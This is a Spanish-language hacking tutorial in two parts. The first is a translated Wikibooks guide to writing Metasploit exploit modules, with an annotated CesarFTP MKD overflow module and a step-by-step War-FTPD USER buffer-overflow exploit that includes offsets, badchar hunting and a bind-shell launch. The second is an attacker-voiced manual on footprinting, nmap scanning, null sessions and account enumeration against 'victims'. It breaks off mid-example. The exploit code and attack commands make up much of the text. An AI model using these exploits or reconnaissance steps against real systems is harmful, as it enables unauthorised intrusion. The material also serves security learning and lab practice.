Escribiendo un exploit

RequierimientosConocimientos tecnicos

• Tener alguna idea de Metasploit Framework.
• Tener alguna idea del programa Ruby
• Tener alguna idea sobre la memoria de windows (Stack, Registros)

Materiales

• El Metasploit Framework instalado y que funcione claro… xD
• Tener algun windows instalado
• Un debugger
• Un editor de texto

Empezamos

En Metasploit Framework, un exploit es llamado “exploit module“.

Estos exploit module se encuentran por defecto en:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\
(sino mira en C:\Documents and Settings\<Tu nombre de usuario>\Application Data\msf3\modules\exploits si no encuentras la ruta de arriba)

Exploit modules estan clasificados por plataformas (SO) y luego por sus tipos (protocolos).

Editando un exploit module

Una buena manera de entender como funciona un exploit module es empezando uno:

Editaremos este modulo:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb

#Las notas del autor estan escritas en rojo

##
# $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##

#Se comentan las lineas con  # (asi no son ejecutadas)

require 'msf/core' #siempre necesitaremos la core library

module Msf #Esta linea debe estar siempre presente

class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote
#El nombre de class (Exploits::Windows::Ftp::Cesarftp_Mkd) especifica donde esta el exploit module
#esta localizado en (*\exploits\windows\ftp\cesarftp_mkd.rb). El nombre del exploit
#el modulo (cesarftp_mkd.rb) debera ser igual al nombre de la class (Cesarftp_Mkd)

        include Exploit::Remote::Ftp #usaremos MSF's built-in Ftp funciones

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
                        #An understandable, detailed name (displayed in the console)
                        'Description'    => %q{
                                This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g.
                        #La descripcion del modulo/vulnerabilidad
                        },
                        'Author'         => 'MC', #El nick del autor del modulo
                        'License'        => MSF_LICENSE, #Tipo de licencia
                        'Version'        => '$Revision: 4419 $', #La version del modulo
                        'References'     => #Varias URL de referencia acerca de la vulnerabilidad
                                [
                                        [ 'BID', '18586'],
                                        [ 'CVE', '2006-2961'],
                                        [ 'URL', 'http://secunia.com/advisories/20574/' ],
                                ],
                        'Privileged'     => true,
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 250, #El Maximo de espacio disponible en memoria para guardar la shellcode (payload)
                                        'BadChars' => "\x00\x20\x0a\x0d", #Lista de caracteres prohibidos
                                        'StackAdjustment' => -3500,
                                },
                        'Platform'       => 'win', #Tipo de la plataforma objetivo
                        'Targets'        =>
                        #List of los objetivos y las direcciones de retorno
                                [
                                        [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
                                        [ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ],
                                        [ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
                                ],
                        'DisclosureDate' => 'Jun 12 2006', #Fecha de la vulnerabilidad encontrada
                        'DefaultTarget'  => 0
                        #Default el objetivo si no es especificado, por defecto (en este caso: Windows 2000 Pro SP4 English)
                )
                )
        end

        def check #Function used para comprobar si el objetivo es vulnerable
                disconnect      

                if (banner =~ /CesarFTP 0\.99g/) #Comprobaremos el banner devuelto por el servidor
                        return Exploit::CheckCode::Vulnerable #El servidor es vulnerable
                end
                        return Exploit::CheckCode::Safe #El servidor no es vulnerable
        end

        def exploit #definimos nuestro exploit
                connect_login #Usamos la Ftp login function

                sploit =  "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding
                sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
                #Direccion de retorno (little endian converted) + nop sled + payload

                print_status("Trying target #{target.name}...")

                send_cmd( ['MKD', sploit] , false) #Enviamos el codigo del exploit al objetivo

                handler
                disconnect #cerramos la conexion
        end

end
end

Escribiendo un “exploit module”

El objetivo

Para entender como escribir un “exploit module” para la Metasploit Framework, Escibiremos un exploit para una facil vulnerabilidad en WarFTPD version 1.5 [2].

Bajamos e intalamos WarFTPD localmete en nuestro windows.
Arrancamos WarFTPD Daemon.
Demarcamos la casilla “No anonymous logins”.
Arrancamos el  FTP server (clickar en el botono “Go Online/Offline”)

Hecho, ahora el servidor esta esperandonos

La vulnerabilidad

Lo primero que tenemos que hacer es buscar información sobre la vulnerabilidad. Hay muchos posibles codigos.
Por ejemplo:
http://osvdb.org/displayvuln.php?osvdb_id=875&print

We now see that the bug can be triggered by sending a specially crafted request in the USER command.
Often a very long string will trigger this sort of bug, but let’s verify that.

El PoC

Primero reproducimos la vulnerabilidad
Para ello usamos directamente Metasploit Framework.
Creamos este archivo:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb

Abrimos el fichero y copiamos lo siguiente ahi:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##

require 'msf/core'

module Msf

class Exploits::Windows::Ftp::WarFtpd < Msf::Exploit::Remote #The names of the exploit module and the class are 'equal'

        include Exploit::Remote::Ftp

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'War-FTPD 1.65 Username Overflow',
                        'Description'    => %q{
                                This module exploits a buffer overflow found in the USER command
                                of War-FTPD 1.65.
                        },      #End of Description
                        'Author'         => 'Your Name',     #Change this value with your (nick)name
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 1 $',
                        'References'     =>
                                [
                                        [ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ]
                                        #The URL mentioned above
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process'
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 1000,          #We actually don't know the correct value for this
                                        'BadChars' => "\x00"
                                        #We actually don't know the correct value for this
                                },
                        'Targets'        =>
                                [
                                        # Target 0
                                        [
                                                'Our Windows Target',
                                                #Replace this with your Windows target platform (ie: Windows 2000 SP4)
                                                {
                                                        'Platform' => 'win', #We exploit a Windows target
                                                        'Ret'      => 0x01020304
                                                        #We actually don't know the correct value for this
                                                }
                                        ]
                                ]
                )       #End of update_info()
                )       #End of super()
        end     #End of initialize

        def exploit
                connect

                print_status("Trying target #{target.name}...")

                exploit          = 'A' * 1000   #We first try to trigger the bug by sending a long string of 1000 "A"

                send_cmd( ['USER', exploit] , false )   #We send our evil string

                handler
                disconnect      #We disconnect from the server
        end     #End of exploit

end     #End of class

end     #End of module

WarFTPD esta arrancado (escuchando por el puerto por defecto 21/tcp)
Ejecutamos la consola de Metasploit Framework’s.
(Start / Programs / Metasploit3 / MSFConsole)

Ahora podemos ver nuestro exploit con este comando:
show exploits

Ahora lanzamos nuestro exploit con el siguiente comando:
use windows/ftp/warftpd
set RHOST 127.0.0.1
set TARGET 0
set PAYLOAD generic/shell_bind_tcp
exploit

Despues de unos pocos segundos vemos que WarFTPD Dameon FTP Server desaparece (Casca vamos xD).
Entonces hemos tenido exito y hemos reproducido el bug.

Debugging

Para ver lo ha ocurrido cuando el servidor se ha ido al garete,usamos un debugger.
Arrancamos de nuevo WarFTPD Daemon y juntamos nuestro debugger en el.
=> en OllyDbg, usamos “File/Attach”, elegimos WarFTPD process, clickamos Ok y despues ya esta ejecutado, Presionaremos F9 para que funcione.

Ejecutamos el exploit de nuevo.
Ahora podemos ver que ocurre en el debugger.
Vemos que ha habido una violacion de acceso.
EIP ha sido sobreescrita con nuestra malvada cadena (41414141 es el equivalente hexadecimal de AAAA)

Fine tuning

Encontrando espacio disponible

Encontramos el espacio libre de nuestra sellcode (payload).

Metasploit Framework incluye una herramienta para ayudarnos.

Primero cerramos nuestro debugger.
Usamos the pattern_create() function para generar una cadena de numeros alfanumericos no repetidos. Usamos esta funcion para llamar al siguiente script: C:\Program Files\Metasploit\Framework3\framework\tools\pattern_create.rb

Desde una consola de ms-dos escribimos esto:

C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]

Generamos una cade de 1000 caracteres y la usamos en nuestro exploit para crear el exploit de nuevo:

C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh

En nuestro PoC code, cambiamos esta linea:

exploit          = 'A' * 1000

for:

exploit          = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh'

Luego, ya hemos guardado la modificacion PoC code. Arrancamos War-FTPD FTP server. Ejecutamos nuestro debugger y lo juntamos al War-FTPD process. Lanzamos nuestro exploit

Bien, ahora podemos verlo en el debugger:

Podemos ver que EIP es ahora sobreescrita con el valor “32714131″.
Luego usamos patternOffset para saber el numero de caracteres que mandar antes del golpe del EIP.

Para ello, usamos el siguiente script: C:\Program Files\Metasploit\Framework3\framework\tools\pattern_offset.rb

En una consola de ms-dos escribimos lo siguiente:

C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_offset.rb
Usage: pattern_offset.rb <search item> <length of buffer>
Default length of buffer if none is inserted: 8192
This buffer is generated by pattern_create() in the Rex library automatically

Entonces, Ahora podemos dar los parametros encontrados antes:

C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_offset.rb 32714131 1000

El resultado “485″ acaba de mostrarse. Significa que deberiamos tener un espacio de 485 bytes Para almacenar nuestro payload

Añadimos este valor en nuestro PoC code: Modificamos esta linea:

'Space'    => 1000,          #Actualmente no conocemos el valor para esto

for:

'Space'    => 485,

Cuando ejecutemos nuestro exploit en Metasploit Framework (con el comando “use”), automaticamente buscara y mostrara los payloads disponibles con un peso menro que 485 (con el comando “show PAYLOADS”).

Encontrando una dirección de retorno

Ahora tenemos que encontrar una dirección de retorno.
Lo mejor es cojer directamente la dirección de retorno de nuestro objetivo. (en la vulnerabilidad ejecutable suya o en una DLL que el use)
Asi se evitan varios problemas con versiones de windows y parches de seguridad
Haremos nuestro exploit Universal
Pero esto no es siempre así de fácil

Una manera para hacer esto es “searching in memory functionality of OllyDbg.”

y de nuevo Metasploit Framework incluye la herramienta que nos ayudará

Podemos usar ‘msfpescan’ Para buscar una dirección de retorno para un opcode:

$ ./framework/msfpescan
Usage: ./framework/msfpescan [mode] <options> [targets]

Modes:
    -j, --jump [regA,regB,regC]      Search for jump equivalent instructions
    -p, --poppopret                  Search for pop+pop+ret combinations
    -r, --regex [regex]              Search for regex match
    -a, --analyze-address [address]  Display the code at the specified address
    -b, --analyze-offset [offset]    Display the code at the specified offset
    -f, --fingerprint                Attempt to identify the packer/compiler

Options:
    -M, --memdump                    The targets are memdump.exe directories
    -A, --after [bytes]              Number of bytes to show after match (-a/-b)

    -B, --before [bytes]             Number of bytes to show before match (-a/-b
)
    -I, --image-base [address]       Specify an alternate ImageBase
    -h, --help                       Show this message

También podemos usar MSF Opcodes Database:
http://metasploit.com/users/opcode/msfopcode.cgi
Note that the Metasploit Framework includes a built-in client to use this database:
http://www.metasploit.com/projects/Framework/msf3/msfopcode.html

También podemos utilizar otra buena herramienta llamada eereap de eEye:
http://research.eeye.com/html/tools/RT20060801-2.html

Podemos encontrar también algunas direccion de retorno internacionales aqui:
https://www.securinfos.info/international-opcodes/index.php

Dealing with badchars

Tenemos que encontrar y prevenir los badchars.
No deberiamos incluir carácteres en blanco en nuestra shellcode porque podría dar fallo en su ejecución,
Habremos acabado cuando en nuestro exploit este esto: ‘BadChars’ => “\x00″

Adicionalmente, una aplicación objetivo amenudo podrá modificar los datos recibidos antes de que la aplicación trabeje con los datos.

.
Un ejemplo seria que una aplicación cambiase todos los caracteres a mayúsculas.
Como esto modificará nuestra shellcode, tenemos que tratar con ello.

Para ello, Metasploit Framework codificará nuestra shellcode para obtener una cualquiera y especificar sus badchars.
Debemos especificar la lista de badchars en el código de nuestro exploit.

Asi que, Para encontrar los badchars, mandaremos una cadena que contenga todos caracteres de la tabla, tanto si son mostrables como si no.
La cadena será como esta:

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d
\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c
\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b
\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a
\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9
\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8
\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7
\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

@ editamos el código de nuestro exploit y ponemos la cadena de arriba en el.
Luego, tendremos nuestra aplicación objetivo funcionando y nuestro debugger junto a ese proceso; relanzamos nuestro exploit.
Bajo el debugger, Despues de la violación de acceso, Daremos con el botón derecho en esp register y elegiremos la opción “follow in dump”.

Ahora veremos nuestra cadena y comprobaremos que el perdido o modificado caracter al final de la cadena.
Este es nuestro primer badchars.

Lo borramos de nuestro código del exploit, y lo hacemos de nuevo…
hasta que veamos todos los caracteres mandados en nuestro debugger.

Ahora escribimos,en la sección de badchars de nuestro exploit, los caracteres encontrados como badchars (borrados o modificados por la aplicación).

Fuente –> Wikibooks

Traducido por Achilles

Nmap

Este Manual esta compuesto básicamente por metodologias y herramientas para realizar el tan querido hacking.

Introducción.

Footsprinting

Scanning

enumeracion

• Introduccion:

Muchas veces en las peliculas de hackers vemos que para entrar a un sistema rompen una llave de encriptacion, que muchas veces es posible, se muestra al hacker tipeando la contraseña, adivinandola como por arte de magia. Les quiero decir que esto nunca es posible. Como tambien vemos que escriben un programita con una muy linda interfaz grafica con muchos numeros por el cual crackea cada caracter de la clave, esto tampoco e posible gracias a los conceptos matematicos que gobiernan a los sistemas hoy en dia.

• En cada caso tenemos que tener en cuenta que:

Los elementos que componen la llamada red de redes son dispositivos (hardware, cpu, hubs,switches, firewalls,routers y otras yerbas)

conexiones (wireless, cable UTP, o fibra optica), programas (Sistemas operativos como , linux, windows, UNIX y aplicaciones como Office , photoshop, openofice , etc y personas. Tengamos en cuenta que las personas interactuan con todos los dispositivos y entre ellas existen buenos y malos.

Hoy en dia existen herramientas pre fabricadas que nos hacen la vida un poco mas fasil a a hora de estar frente a un monitor y queriendo atacar a alguien. Pero hay que tener en cuenta “siempre” que del otro lado tambien utilizan herramientas de la misma manera que nosotros para protejerce. Pero no que no saben es la cantidad de metodoligias que uno puede utilizar para atacar y obtener lo que uno necesita, estas metodologias son las que tenemos que saber nosotros para atacar y protegernos de los ataques.

• Primer ataque: Footprinting

Esta tecnica basicamente consiste en obtener informacion para crear un perfil de la configuracion de seguridad que posee el sistema , organizacion a atacar. Esta actividad de rastreo se puede realizar de muchas formas pero en este caso como estoy medio en pedo vamos a aprender algunas pocas.

Nuestro primer objetivo es examinar la pagina web de la empresa a atacar, aunque les parezca una boludes esto nos da una cantidad importante de informacion que nos puede ayudar. En muchos casos me encontre con muchas cositas lindas en paginas webs, como configuraciones de firewalls y descuidos tontos que pueden terminar siendo fatales.

Otras cosas a tener en cuenta son : Ubicaciones, entidades relacionadas, numeros de telefonos , direcciones de correo, nombres y enlaces a otros servidores relacionados con la empresa.

Pero empecemos por identificar los nombres de dominios , para esto existen muchas bases de datos que podemos consultar y obtener mucha inormacion util, si tenemos linux podemos hacer un whois o un xwhois para obtener esto .

Si tenemos windoze podemos usar programas como en netscan o el muy lindo samspade. Estos comandos y programas nos muestran info sobre el dominio y a travez de esto pueden obtener el nombre del administrador, cuando fue creado y actualizado el registro, servidores DNS primarios y secundarios y los dominios asociados a la empresa.

Una vez obtenido esto podemos proceder a consultar los DNS , esto o hacemos con el comando nslookup que es la herramienta especial para esta tarea. Despues de esto podemos seguir con un traceroute para seguir un paquete ip desde un host al siguiente es decir para analizar la ruta que sigue el paquete dentro de una red, esto nos sirve para determinar redes activas y filtrados de paquetes (firewalls).

• Herramientas.

ARIN DATABASE http://www.arin.net/whois

Cyberarmy http://www.cyberarmy.com

San Spade http://www.samspade.org

Visualroute http://www.visualroute.com (traceroute con ubicacion geografica)

WHOIS database http://networksolutions.com

Queda claro que esta tecnica no es para atacar sino para dar el primer paso, despues de haber obtenido rangos de direcciones de ip, servidores DNS y servidores de e-mails. Podremos saber que sistemas estan vivos dentro de una red y proceder al Scanning.

Scanning:

En esta tecnica veremos lo que se llaman barridos de ping , escaneos de puertos, detección de S.O y el descubrimiento automatico.

Ping Sweeps (barridos de pings)

Esto es muy importante porque podemos determinar que sistemas estan vivos dentro de una red, esto se hace de la misma manera que el clasico ping , es decir, enviar una peticion a una maquina y esperar una respuesta de ella para determinar si la misma esta viva.

En este caso lo vamos a hacer con el nmap (http://www.insecure.org/nmap)

Esto lo hacemos de la siguiente manera:

>nmap -sP 190.160.0.1-254

Luego de completar el barrido nos dira que maquinas estan activas y cuales no. La opcion P en le dice al nmap que realice un ping scan.

Muchas veces el protocolo por el cual se hace un ping scan (ICMP) esta bloqueado por un router o firewall , si esto ocurre debemos hacer un ping scan en otro puerto.

>nmap -sP -pt80 190.160.0.1-254

En este caso estamos haciendo un Scanning en el puerto 80 sobre TCP y no tendremos problemas ya que este puerto siempre esta permitido. Nunca esta demas hacer unos barridos en puertos diferentes como SMTP (25) POP·(110) IMAP(143) FTP(21)

PORT SCANNING

Una vez determinado que sistemas estan vivos en la red pueden proceder a hacer un port Scanning. Esto consiste en establecer conexiones TCP y UDP a un equipo victima para establecer que servicios estan escuchando o en ejecucion , estos servicios pueden permitir el acceso no autorizado a usuarios extraños al sistema. Estos servicios pueden ser versiones desactualizadas de aplicaciones , aplicaciones con bugs conocidos o servidores mal configurados, es decir nos podemos encontrar con cualquier cosa.

Tipos de Scanning.

Existen varios tipos de scanneo de puertos algunos de estos son:

TCP Connect scan: este se conecta al puerto destino haciendo lo que se llama tree way handshake ( Muy importante saber el funcionamiento TCP/IP )

>nmap -sT 190.160.4

TCP SYN scann: Esto lo que hace es enviar un paquete con flag Syn a la victima , respondiendo la victima con un flag SYN/ACK si el puerto esta escuchando o con un flag RST/ACK si el puerto esta cerrado.

>nmap -sS 190.160.0.5

otros metodos de Scanning:

TCP Xmas tree scan >nmap -sX 190.160.0.5

TCP FYn Scan >nmap -sF 190.160.0.4

TCP Null Scan >nmap -sN 190.160.0.5

Si agregamos el modificador V al tipo de escaneo nos infomara sobre e tipo de version de aplicacion que esta corriendo en el puerto.

>nmap -sSV 190.160.0.5

Para windows existen muchas herramientas para realizar esta operacion como portqry de Microsoft que es gratuita otra de esas herramientas es también el netcat que es una herramienta poderosisima para trabajar con redes.

Detección de SO:

El nmap nos brinda muchas opciones a la hora de usarlo , una de ellas es la posibilidad de deteccion del SO victima por medio del modificador -O que lo identifica de acuerdo con el fingerprinting des stack TCP.

Vamos a un ejemplo de utilizacion de este metodo.

>nmap -O 190.160.0.5

En la respuesta unas lineas anteriores a la ultima nos saldra algo parecido a esto:

Running: Linux 2.4.x12.5.x12.6.x

OS Details: Linux 2.4.0 – 2.5.20, Linux 2.4.18 -2.6.4 (x86)

Una de las herramientas que sirven para este tipo de detección es el queso , este lo único que hace es detectar el SO a travez del puerto 80, pero no es un port scanner.

Descubrimiento automatico:

Existen herramientas muy completas diseñadas para realizar muchas funciones en el scanning estas pueden ser:

Cheops (http://www.marko.net/cheops) : De interfaz grafica , ping traceroute, port Scanning y Scanning de SO.

Tkined: Similar a Cheops.

Conclusión: Hasta aquí repasamos lo que es el Scanning con sus tecnicas, la informacion que es posible obtener y la utilidad de la informacion.

Todo lindo hasta acá pero me olvidaba de una cosa.

Nessus : Conjunto de todas estas tareas con una interfaz grafica, esta se compone de 2 partes el server que esta disponible solo para plataformas UNIX o Linux y el cliente que esta para cualquier tipo de plataforma y funciona en modo grafico.

Mas adelante explicare un poco de que se trata y como se utiliza.

3 Ataque Enumeracion:

Todabia no hicimos ningun ataque por si no se dan cuenta pero ya llegara la oportunidad de tener todo listo para hacerlo debidamente y sin complicaciones tontas.

Llamamos enumerar a identificar:

>Recursos de red (maquinas y dominios) y recursos compartidos.

>Cuentas de usuarios

>aplicaciones corriendo algun servicio.

Durante a enumeracion vamos a hacer “una conexion activa a los sistemas” Esto significa que estas conexiones quisas sean registradas y exista en algun log del servidor a diferencia de los otros pasos que solo estabamos haciendo lo que se dice se mira y no se toca. Ahora esto es al contrario , es nuestro primer contacto con la victima en si, conocer los usuarios de un sistema como que aplicaciones estan corriendo nos va a servir mucho en la tarea del hacking en si que basicamente es lo que estoy detallando en este manual. No me vengan con que se creen que el hacking es robarle la cuenta de correo a sus novias o cosas por el estilo porque no lo es en lo mas minimo.

Las tecnicas de enumeracion son especificas para cada sistema operativo asi que vamos a trabajar 2 de ellos que son los mas utilizados, UNIX y Windows .

Vamos a conceptos basicos que hay que tener en claro para esta tarea:

>Puertos activos:

cada puerto activo detectado durante el scanning representa un servicio que esta corriendo en la maquina. Si tenemos la version de e servicio que esta corriendo en ese puerto podemos explotar alguna vulnerabilidad que posea la version si es que existe.

Por esto podriamos recorrer todo los puertos posibles , desde el 1 al 65535 , y detallar que herramientas utilizamos para cada caso y que informacion obtendriamos Con esto.

Con el comando nbtstat podemos encontrar los puertos más comunes activos y las aplicaciones que corren en cada puerto.

Como asi tambien el Mac address de la maquina.

>nbtstat -A 190.160.0.4

Enumeracion en windows NT/2000 y 2003

Existen 2 grandes vulnerabilidades en los sistemas windows y estas son:

Null Sesion-anonymous login :

NETBIOS y CIFS/SMB incluyen APIs que permiten acceder a mucha informacion de los sistemas, sobre los puertos TCP y UDP 135 a139 y 145. El modo de acceder a esas apis es a traves de el llamado Null session o anonymous login.

Esto nos dara recursos compartidos y muchas cositas mas que si las explico todas no termino nunca mas.

Para Realizar una Null session podemos utilizar el comando :

>net view \\victima\ipc /u:”" “”

Si nos contesta con Comando completado exitosamente es porque logramos obtener una null session , de lo contrario nos contestara con un “System Error 5″.

Si necesitan mas informacion sobre el comando net view pueden tipear net view ?.

Pero para explotar al maximo lo que es una Null session vamos a utilizar la herramienta enum.exe. Que la podemos encontrar en Internet o en http://razor.bindview.com/tools/desc/enum_readme.html

Por ejemplo para obtener una tonelada de infamación con esta herramienta , desde línea de comandos podemos tipear :

>enum.exe -U -M -S -P -G -L 190.160.0.4 (supongamos que atacamos un win2k)

-u: lista de usuarios

-m: lista de maquinas

-s: lista recursos

-p: politicas de passwords

-g: Lista de Grupos y miembros

Para listar las opciones de esta herramienta podemos tipear desde el prompt de comandos

c:/>enum

Una herramienta muy generosa es RedButton , que nos permite utilizar una Null session para identificar el nombre de cuenta del administrador. Por eso Microsoft gracias a estas debilidades modifico la familia NT para que uno pueda restringir las Null sesions.

Vamos a muchos tipos de enumeraciones y sus herramientas.

1.Enumeracion de NETBIOS:

>>Dominios y Equipos en el dominio (netview)

>>Nombres de netbios de sistemas remotos (nbtstat , ,nbtscan)

>>De Controladores de dominio (nltest)

>>Recursos compartidos (netview, dumpsec, legion)

>>De servidores tipo ras (netviewx)

2.SNMP (snmputil) cliente ldp.exe

Transferencia de Zona DNS (nslookup

3.Enumeracion de usuarios/cuentas

>>nbtstat y nbtscan ( no requiere Null session)

>>dumpsec

>>sid2user, user2sid

>>enum

>>nete (del culto de la vaca muerta, unos genios)

Muchas de estas herramientas estan en el NT Resource Kit en la parte Support/Tools del CD

4.Enumeracion de aplicaciones

>>telnet

>>netcat

Ejemplo de enumeración de aplicaciones por el metodo banner grabbing.

#########################################################

# #

# C:/>telnet www.webvictima.com #

# #

# HTTP/1.1.400 Bad Request #

# Server: Microsoft-IIS/5.0 #

# Date: wed, 18 Ago 2005 01:55:06 GTM #

# Content-Type: text/html #

